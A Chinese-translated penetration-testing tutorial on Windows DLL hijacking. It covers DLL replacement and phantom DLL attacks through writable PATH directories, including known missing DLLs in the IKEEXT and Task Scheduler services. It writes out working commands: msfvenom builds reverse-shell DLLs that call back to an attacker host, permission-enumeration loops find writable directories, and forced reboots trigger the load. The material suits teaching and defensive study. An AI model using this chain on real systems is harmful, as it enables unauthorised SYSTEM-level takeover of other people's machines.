本文通过 Google 翻译 DLL Hijacking -- Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
导航
- [0 前言](#0 前言)
- [1 DLL 劫持原理](#1 DLL 劫持原理)
- [2 DLL 劫持 - DLL 替换](#2 DLL 劫持 - DLL 替换)
- [2.1 搜寻非标准服务](#2.1 搜寻非标准服务)
- [2.2 搜寻服务的弱权限目录](#2.2 搜寻服务的弱权限目录)
- [2.3 Procmon 分析服务](#2.3 Procmon 分析服务)
- [2.4 制作恶意 DLL](#2.4 制作恶意 DLL)
- [2.5 劫持服务 DLL](#2.5 劫持服务 DLL)
- [3 DLL 劫持 - Phantom(幽灵) DLL](#3 DLL 劫持 - Phantom(幽灵) DLL)
- [3.1 枚举 PATH 变量中的目录](#3.1 枚举 PATH 变量中的目录)
- [3.2 Procmon 分析服务](#3.2 Procmon 分析服务)
- [3.3 劫持服务 DLL](#3.3 劫持服务 DLL)
- [4 Phantom DLL 劫持示例](#4 Phantom DLL 劫持示例)
- [4.1 Windows 7/8 Phantom DLL 劫持 - wlbsctrl.dll](#4.1 Windows 7/8 Phantom DLL 劫持 - wlbsctrl.dll)
- [4.2 Windows 10 Phantom DLL 劫持 - wptsextensions.dll](#4.2 Windows 10 Phantom DLL 劫持 - wptsextensions.dll)
0、前言
在这篇文章中,我们将介绍 DLL 劫持的概念,并重点介绍两种不同类型的 DLL 劫持,它们都可以被用来获取 SYSTEM shell。
在第一个场景中,我们将学习如何枚举与服务相关的 DLL。首先,通过 Procmon 工具的分析,发现在服务启动的同一目录中,有一个 DLL 文件正在被调用,而我们又有该 DLL 文件的写入权限。然后,我们用恶意 DLL 文件替换掉原来的 DLL 文件并重启服务,这样就触发了恶意 DLL 并为我们提供一个 SYSTEM shell。
在第二个场景中,我们将学习 PATH 劫持,并了解如何利用 PATH 在合法 DLL 丢失或"未找到"的情况下将恶意 DLL 加载到服务进程中。
最后,我们将看到两个针对 Windows 7/8 和 Windows 10 系统的 DLL 劫持示例,而它们针对的目标都是程序(系统默认服务)中已知丢失的 DLL。在这两个示例中,只要满足 当前用户对 PATH 环境变量中的某个目录存在写入权限 这一条件,就可以确保几乎一定能获得 SYSTEM shell。
1、DLL 劫持原理
DLL(动态链接库)是一种包含代码和数据的库,可同时被多个程序使用。从本质上讲,DLL 是一组程序指令,它们存在于程序代码之外,但却是程序运行所必需的。
DLL 的使用有助于促进代码的模块化、代码的重复使用、内存的有效使用以及磁盘空间的减少。也就是说,它会使操作系统和程序的加载速度更快,运行速度更快,占用的磁盘空间也更少。
在程序编写中,经常会看到在编写加载 DLL 相关的代码时程序员不使用其绝对路径。即 不在代码里写 C:\Windows\System32\important.dll
,而是直接写 important.dll
。这就使得该程序在运行时,Windows 操作系统需要为它查找这个名称的 DLL。这种情况在第三方应用程序中尤其如此【此处对标 windows 系统应用】。
而当程序中没有指定 DLL 的绝对路径时,系统就会使用预定义的搜索顺序来尝试找到它,就像这样:

由上图可以看到,DLL 的查找分为两个阶段,分别是:预定义搜索和标准搜索。其中预定义搜索中加载的那些 DLL 的搜索顺序也是从标准搜索中的应用程序目录开始的。只不过,上面列出"预搜索"是为了更好的说明,如果要搜索的 DLL 不是内存中已加载的 DLL,也不是已知的 DLL,那么搜索就会从应用程序目录开始。
已知 DLL 列表可以在注册表
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLss
中查看。【注:查看命令reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"
,从查询结果可以看出,已知 DLL 列表中的路径使用的也不是绝对路径。】
Windows 会逐一检查标准搜索列表中的每个目录,如果没找到,就会转到下一个目录,直到最终找到或根本找不到 DLL。
注:(1)预定义搜索列表中的"当前目录"在面对服务时似乎并没有什么作用,而只有在面对程序时才有效;(2)当服务以 SYSTEM 身份运行时,对于服务当前的环境变量 PATH,其值是指系统 PATH 环境变量,不包含用户 PATH 环境变量;【我们在 shell 中看到的 PATH 变量,其实是系统 PATH 和当前用户 PATH 的总和。】(3)如果服务是以指定用户的身份运行的,那么对于服务来说当前的 PATH 是系统 PATH 和用户 PATH 的总和;(4)如果程序代码中加载 DLL 的方式是 test.dll 这样的,那么应用程序目录 和 PATH 环境变量 就都是关注点;但如果在程序中已经限定了 DLL 的查找路径或开启了关于加载 DLL 的安全设置,那么此时就只有应用程序目录才是关注点【此时通过 Procmon 观察进程会发现,进程只在应用程序目录下查找,找不到便不找了,而不会按照预定义列表逐个目录的查找。】,PATH 环境变量此时无效。
在标准搜索列表中,由于我们只对应用程序目录 和 PATH 中列出的目录感兴趣,因此我们只需关注应用程序目录的权限是否较弱,或者 PATH 环境变量中有我们可写的目录。只要能满足上面这两个条件中的任意一个,我们就可以通过劫持 DLL 进行权限提升。
现在,我们已经了解了什么是 DLL,以及它的工作原理,那么 到底什么是 DLL 劫持呢?
DLL 劫持是一种黑客技术,它诱使合法或受信任的应用程序加载任意 DLL。而 DLL 劫持又有多种形式,例如:
- DLL 替换
- DLL 搜索顺序劫持
- 幽灵 DLL 劫持
- DLL 重定向
- DLL 侧加载
- 相对路径 DLL 劫持
但在这篇文章中,我们将重点介绍 DLL 替换 和幽灵 DLL 劫持这两种形式。
2、DLL 劫持 - DLL 替换
DLL 替换的利用方法与我们利用服务的弱权限文件/目录相同,唯一不同的是,不是替换服务启动程序,而是替换启动程序在执行过程中调用的 DLL 文件。
在这篇文章中,我们不会像利用服务的弱权限文件/目录中那样使用很多工具去枚举弱目录的权限,只需使用 accesschk 这一款工具就够了。
在此示例中,假设我们已经作为标准用户 alice 在目标机上获得了立足点。

2.1、搜寻非标准服务
首先,我们需要找到一个非标准服务,可以使用以下 wmic 命令查询:
cmd
powershell.exe -ep bypass -c "Get-WmiObject -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where { $_.PathName -notlike 'C:\Windows*' } | select Name,DisplayName,StartMode,PathName"

从上面可以看到,相比于其它服务 dllservice 服务的名称很特别。不过,即使该服务的名称没什么特别,通过查看路径名,也可以发现它可能位于一个可写的目录中。此外,我们还可以看到该服务是一个自启动服务,这也意味着如果我们能够重启机器,就可以强制重启该服务。
2.2、搜寻服务的弱权限目录
现在,我们找到了一项有趣的服务,接下来,就可以使用 Sysinternals 套件中的 Accesschk 工具来枚举与这个服务相关的文件/目录权限。
先将 Accesschk64.exe 的副本下载并转移到受害者机器上。

然后使用 Accesschk 列举服务目录的权限,命令如下:
cmd
.\accesschk64.exe -wvud "C:\Program Files\dllservice" -accepteula

可以看到,当前用户对该服务目录具有完全控制的权限。
现在,当我们检查该目录的内容时,发现其中只有一个 EXE 文件和一个 DLL 文件。由此我们可以假设,当服务启动时,DLL 会被 EXE 文件加载。

接下来,我们要做的就是利用服务获取 SYSTEM shell。不过,在此之前,我们先使用 Sysinternals 套件中的 Procmon 工具来深入分析一下 dllservice 进程,看一下该服务在启动时都发生了些什么。
2.3、Procmon 分析服务
前面我们介绍了,系统在加载非绝对路径的 DLL 时,会根据预定义搜索的顺序逐个目录逐个目录的去寻找符合的 DLL 。也是从那里我们知道了,标准用户有可能会将 DLL 放在应用程序目录和 PATH 变量中列出的目录这两个地方。
注:此小节的分析仅是为了进行概念验证,在实际的提权过程中并不现实。
而为了能更清楚了解程序加载 DLL 的过程,我们决定先以管理员的身份通过 GUI 登录机器,然后使用 Procmon 这个程序去分析程序。

Procmon 运行后,我们需要创建一些过滤器(快捷键CTRL + L):
Path -- ends with -- .dll

User -- is -- NT AUTHORITY\SYSTEM

Proccess Name -- is -- dllservice.exe

然后应用这三个过滤器。

现在,当我们停止并启动服务时,会看到 hijackme.dll 按预期从应用程序目录成功加载。

Cool!现在可以看到 dllservice 服务成功从应用程序目录加载了那个 DLL。现在,让我们以标准用户 alice 的身份回到反向 shell,并利用这一点获得 SYSTEM shell。
2.4、制作恶意 DLL
接下来,我们就可以制作一个恶意 DLL 来替换合法的 DLL,可以使用以下命令:
bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f dll -o hijackme.dll

待恶意 DLL 制作完成之后,就可以将其传输给受害者了。
2.5、劫持服务 DLL
可以看到,恶意 DLL 文件已送达受害者机器。

接下来,我们需要备份原始的"hijackme.dll"文件,然后将恶意 DLL 移动到应用程序目录中。
cmd
mv "C:\Program Files\dllservice\hijackme.dll" "C:\Program Files\dllservice\hijackme.dll.bak"
mv .\hijackme.dll "C:\Program Files\dllservice"

剩下要做的就是在攻击者机器上启动一个 443 端口的 nc 监听器,然后使用以下命令重新启动受害者机器:
cmd
shutdown /r /t 0 /f

等待大约20秒后,回到监听器,我们得到了一个 SYSTEM shell!

Amazing!我们通过劫持 DLL 而不是替换服务启动程序,成功获得了 SYSTEM shell。
由于是在应用程序目录中找到了 DLL,因此即使没有 procmon,我们也可以假定 DLL 与服务绑定,从而执行这次攻击。
但是,如果服务试图加载一个在应用程序目录中不存在的 DLL 时,会发生什么情况呢?
让我们从下面找出答案!
3、DLL 劫持 - Phantom(幽灵) DLL
Phantom DLL 劫持是一种利用系统环境变量 PATH 的劫持技术。要利用这种技术,我们必须确认在 PATH 变量中是否存在这么一个当前用户有权限写入的目录。
有时候,在安装某些第三方应用程序时,程序会将自己程序的家目录路径添加在 PATH 变量中。而如果够幸运的话,我们可能会发现自己拥有该目录的写入权限。例如,如果应用程序在
C:\
目录下创建了子目录,那么默认情况下,任何标准用户都有该子目录的修改权限(M)。
在这个例子中,我们会发现 dllservice 目录只包含服务的可执行文件,而并不像在第2节中的例子那样 DLL 是位于应用程序目录中的。

同时也发现当前用户对 dllservice 目录没有修改的权限。

3.1、枚举 PATH 变量中的目录
接下来,让我们回到普通用户 alice 的 PowerShell 会话,并使用以下命令检查 PATH 变量中包含的目录:
powershell
$Env:Path

要在 cmd.exe 中进行同样的操作,可以使用以下命令:
cmd
echo %PATH%

BOOM!在这里,我们看到在 PATH 变量中存在一个不是系统默认目录的目录。更妙的是,该目录位于 C:\
,这意味着我们应该有该目录的写入权限。
powershell
.\accesschk64.exe -wvud "C:\customapp" -accepteula

如我们所料,我们可以在该目录中进行写入操作!此外,我们还可以使用 for 循环,配合 icacls 来快速遍历 PATH 变量中每个目录的权限情况。
在默认情况下,PATH 变量中的目录对于标准用户来说都是不可写的;而任何自定义目录都可能是可写的,或者在某些非常罕见的情况下,用户可能被授予了写入某个默认目录的权限。
cmd
for %A in ("%path:;=";"%") do ( cmd.exe /c icacls "%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

从上面可以看到,在 PATH 变量中的众多目录中,我们只对C:\customapp
目录拥有写入权限。
那么,当启动位于 C:\Program Files\dllservice
目录中的 dllservice 服务时,它又和 C:\customapp
目录有什么关系呢?
让我们再次使用 Procmon 来找出答案!
3.2、Procmon 分析服务
为了能更直观地理解这一点,我们将返回管理员 GUI 界面,并再次运行 Procmon。但这次,我们将添加一个过滤器,以查看程序是如何处理丢失的 DLL。
Result -- Contains -- NOT FOUND

现在,四个过滤器如下:

这一次,当停止并启动服务时,我们会发现 hijackme.dll 会首先尝试从应用程序目录中加载。一旦找不到 DLL,它就会按照预定义的搜索顺序执行。一旦通过 C:\Windows\*
等目录,它就会开始检查 PATH 变量,并尝试从 C:\customapp
加载 DLL。

Awesome!从上面可以看到,应用程序在搜索的过程中会尝试从 customapp 目录中加载 DLL。这就意味着我们可以在该目录中放置恶意 hijckme.dll 并重启服务,一旦服务加载了这个 DLL ,我们就会获得一个 SYSTEM shell。
3.3、劫持服务 DLL
接下来,让我们回到普通用户 alice 的 PowerShell 会话。
由于之前已经制作过恶意 DLL,因此我们可以继续使用它并将其复制到 customapp 目录,然后重新启动机器。

接下来,就是在攻击机启动一个 443 端口的监听器,然后重启受害机系统:
cmd
shutdown /r /t 0 /f

大约20秒钟后,回到监听器,可以看到我们获得了一个 SYSTEM shell!

Amazing!在我们没有能力更改服务本身或其家目录时,我们通过 PATH 变量中的一个可写目录,通过利用预定义搜索顺序成功劫持了服务的 DLL,并最终取得胜利。
虽然这很酷,但不幸的是并不实用。因为我们在普通用户的状态下根本无法使用 Procmon 工具去分析服务启动到底会加载哪些 DLL,因而也就没有办法去利用 DLL 劫持。
因此,DLL 劫持并不是一个提升权限的实用方法,与其说它是一个漏洞,倒不如说它是一个学术概念。
4、Phantom DLL 劫持示例
虽然 DLL 劫持并不是一个提升权限的实用方法,但还是有一点价值的。因为,在 Windows 7/8 和 Windows 10 的默认服务中,存在着一些已知的 DLL 丢失的清况。
为此,我们将展示两个示例。而这两个示例在 Win7/8 和 Win10 的任何版本中都是有效的,并且能为你提供 SYSTEM shell,但前提是必须要在 PATH 环境变量中存在一个可写的目录。
由于这些都是已知丢失的 DLL,因此在这些示例中我们不需要使用 Procmon 工具进行分析,直接就可以开整。【注:这两示例也是 DLL 劫持提权最有代表性的示例。】
4.1、Windows 7/8 Phantom DLL 劫持 - wlbsctrl.dll
在 Windows 7/8 机器上,当 IKEEXT 服务启动时,有一个名为 wlbsctrl.dll 的默认 DLL 是不能被找到的。
接下来,假设我们以标准用户 bob 的身份在目标 Win 7 机器上获得了一个立足点。

在手动枚举期间,通过 for 循环快速检查 PATH 环境变量中的目录权限:
cmd
for %A in ("%path:;=";"%") do ( cmd.exe /c icacls "%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Great!在这里,我们发现当前用户对 C:\temp
目录拥有修改权限。接下来,我们检查系统架构并通过 msfvenom 制作了一个恶意 DLL。
cmd
systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"

bash
msfvenom -p windows/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x86 --platform Windows -f dll -o wlbsctrl.dll

然后将这个恶意 DLL 文件传输到受害者机器。

最后将恶意文件拷贝到 C:\temp
目录,同时在攻击机启动 443 端口的 nc 监听器。

启动系统。
cmd
shutdown /r /t 0 /f

等待大约20秒钟后,回到监听器,可以看到我们获得了一个 SYSTEM shell!
注意:受害者机器重启之后总是停留在启动界面转圈,而无法进入系统。

本质上讲,只要可以在 Windows 7/8 机器上的 PATH 变量中找到可写的目录,那么几乎总是能够获得 SYSTEM shell 。
4.2、Windows 10 Phantom DLL 劫持 - wptsextensions.dll
在 Windows 10 机器上,任务调度程序服务有一个名为 wptsExtensions.dll 的 DLL 丢失,我们可以使用与上一个示例相同的方法来利用它。
注意:受害者机器重启之后总是停留在启动界面转圈,而无法进入系统。【和上面示例中出现的效果是一样的】
在此示例中,假设我们以标准用户 alice 的身份在目标 Win 10 机器上获得了一个立足点。

先检查环境变量 PATH 中包含的 C:\customapp
目录的权限。

然后拷贝恶意 DLL 到 C:\customapp
目录下,并重命名为 wptsExtensions.dll。

最后启动 nc 监听器并重启系统。
cmd
shutdown /r /t 0 /f

等待大约20秒钟后,回到监听器,看到我们获得了一个 SYSTEM shell!
